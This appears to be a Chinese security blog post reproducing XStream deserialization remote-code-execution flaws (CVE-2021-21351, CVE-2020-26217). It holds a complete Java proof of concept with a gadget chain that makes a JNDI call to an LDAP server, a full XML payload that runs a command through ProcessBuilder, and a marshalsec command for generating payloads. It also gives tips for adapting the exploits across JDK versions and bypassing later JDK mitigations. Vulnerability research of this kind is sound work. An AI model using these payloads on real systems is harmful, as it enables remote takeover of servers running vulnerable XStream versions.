<
XStream<=1.4.16 远程命令执行
>

没有上一篇咯
下一篇

fastjson<=1.2.4无落地利用复现与分析

XStream<=1.4.16 远程命令执行

xStream是一个Java对象和XML相互转换的工具.来处理XML文件序列化的框架,在将javaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件

复现:

环境搭建

meavn创建Pom:xstream 1.4.15环境

Pom.xml

 ....
 <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.15</version>
    </dependency>
  </dependencies>
  ....

Poc:

import com.thoughtworks.xstream.XStream;

public class CVE_2021_21351 {
    public static void main(String[] args) {
        String xml = "<sorted-set> " +
        "  <javax.naming.ldap.Rdn_-RdnEntry> " +
        "    <type>ysomap</type> " +
        "    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> " +
        "      <m__DTMXRTreeFrag> " +
        "        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> " +
        "          <m__size>-10086</m__size> " +
        "          <m__mgrDefault> " +
        "            <__useServicesMechanism>false</__useServicesMechanism>" +
        "            <m__incremental>false</m__incremental> " +
        "            <m__source__location>false</m__source__location> " +
        "            <m__dtms> " +
        "              <null/> " +
        "            </m__dtms> " +
        "            <m__defaultHandler/> " +
        "          </m__mgrDefault> " +
        "          <m__shouldStripWS>false</m__shouldStripWS> " +
        "          <m__indexing>false</m__indexing> " + "          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> " +
        "            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> " +
        "              <javax.sql.rowset.BaseRowSet> " +
        "                <default> " +
        "                  <concurrency>1008</concurrency> " +
        "                  <escapeProcessing>true</escapeProcessing> " +
        "                  <fetchDir>1000</fetchDir> " +
        "                  <fetchSize>0</fetchSize> " +
        "                  <isolation>2</isolation> " +
        "                  <maxFieldSize>0</maxFieldSize> " +
        "                  <maxRows>0</maxRows> " +
        "                  <queryTimeout>0</queryTimeout> " +
        "                  <readOnly>true</readOnly> " +
        "                  <rowSetType>1004</rowSetType> " +
        "                  <showDeleted>false</showDeleted> " +
        "                  <dataSource>ldap://127.0.0.1:8088/Object</dataSource> " +
        "                  <listeners/> " +
        "                  <params/> " +
        "                </default> " +
        "              </javax.sql.rowset.BaseRowSet> " +
        "              <com.sun.rowset.JdbcRowSetImpl> " +
        "                <default/> " +
        "              </com.sun.rowset.JdbcRowSetImpl> " +
        "            </fPullParserConfig> " +
        "            <fConfigSetInput> " +
        "              <class>com.sun.rowset.JdbcRowSetImpl</class> " +
        "              <name>setAutoCommit</name> " +
        "              <parameter-types> " +
        "                <class>boolean</class> " +
        "              </parameter-types> " +
        "            </fConfigSetInput> " +
        "            <fConfigParse reference='../fConfigSetInput'/> " +
        "            <fParseInProgress>false</fParseInProgress> " +
        "          </m__incrementalSAXSource> " +
        "          <m__walker> " +
        "            <nextIsRaw>false</nextIsRaw> " +
        "          </m__walker> " +
        "          <m__endDocumentOccured>false</m__endDocumentOccured> " +
        "          <m__idAttributes/> " +
        "          <m__textPendingStart>-1</m__textPendingStart> " +
        "          <m__useSourceLocationProperty>false</m__useSourceLocationProperty> " +
        "          <m__pastFirstElement>false</m__pastFirstElement> " +
        "        </m__dtm> " +
        "        <m__dtmIdentity>1</m__dtmIdentity> " +
        "      </m__DTMXRTreeFrag> " +
        "      <m__dtmRoot>1</m__dtmRoot> " +
        "      <m__allowRelease>false</m__allowRelease> " +
        "    </value> " +
        "  </javax.naming.ldap.Rdn_-RdnEntry> " +
        "  <javax.naming.ldap.Rdn_-RdnEntry> " +
        "    <type>ysomap</type> " +
        "    <value class='com.sun.org.apache.xpath.internal.objects.XString'> " +
        "      <m__obj class='string'>test</m__obj> " +
        "    </value> " +
        "  </javax.naming.ldap.Rdn_-RdnEntry> " +
        "</sorted-set>";

        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

image-20210608165809103

image-20210608165830309

踩坑

1)Java 8u121以后,默认trustURLCodebase为false,不再支持从远程codebase加载类,JNDI注入时使用rmi协议失效,但是ldap协议还可以用。

2)对于低版本j d k网上原版POC需改动:

若复现报错:No such field com.sun.org.apache.xml.internal.dtm.ref.DTMManagerDefault._overrideDefaultParser ,那么说明目标Java版本较低,需要更改下POC,将POC中的<__overrideDefaultParser>false改成<__useServicesMechanism>false即可。

Java 8u191+

若Java 8u191以后,ldap也被禁用了情况下,可用s pe l表达式来执行命令。

s pe l利用点直接引用P师傅星球ideal:

8u191以后如何利用,参考这篇文章:https://www.veracode.com/blog/research/exploiting-jndi-injections-java,借助org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。可以使用这个小工具:https://github.com/welk1n/JNDI-Injection-Exploit/来利用

利用小工具

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

参考:

http://x-stream.github.io/CVE-2021-29505.html

https://wx.zsxq.com/mweb/views/topicdetail/topicdetail.html?topic_id=414124428221458&inviter_id=88855814114142&share_from=ShareToWechat&keyword=2fuv7Ur

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

CVE-2021-29505 调用public 命令执行

CVE-2020-26217 XStream < 1.4.14

poc

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

https://xz.aliyun.com/t/8526

CVE-2020-26217 XStream

XStream在对map类型对象进行反序列化的时候,如果map对象内存在entry,会实例化一个空map,以及entry,再将entry put到map中,map在put entry的时候,会调用entry的hashCode函数,在之后的调用过程会调用ByteArrayOutputStreamEx的datasource的read函数,也就是SequenceInputStream.read函数,中会循环调用每个Enumeration的nextElement函数,继而去调用对应key的next函数进行迭代,而这个时候的迭代器是精心构造的FilterIterator,会调用恶意构造的ImageIO$ContainsFilter的filter方法,从而进行了反射调用,而反射的method、param和class都是ContainsFilter的成员对象,攻击者可控,从而造成了rce。

https://www.cnblogs.com/303donatello/p/13998245.html

marshalsec工具生成x m l

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

Top
Foot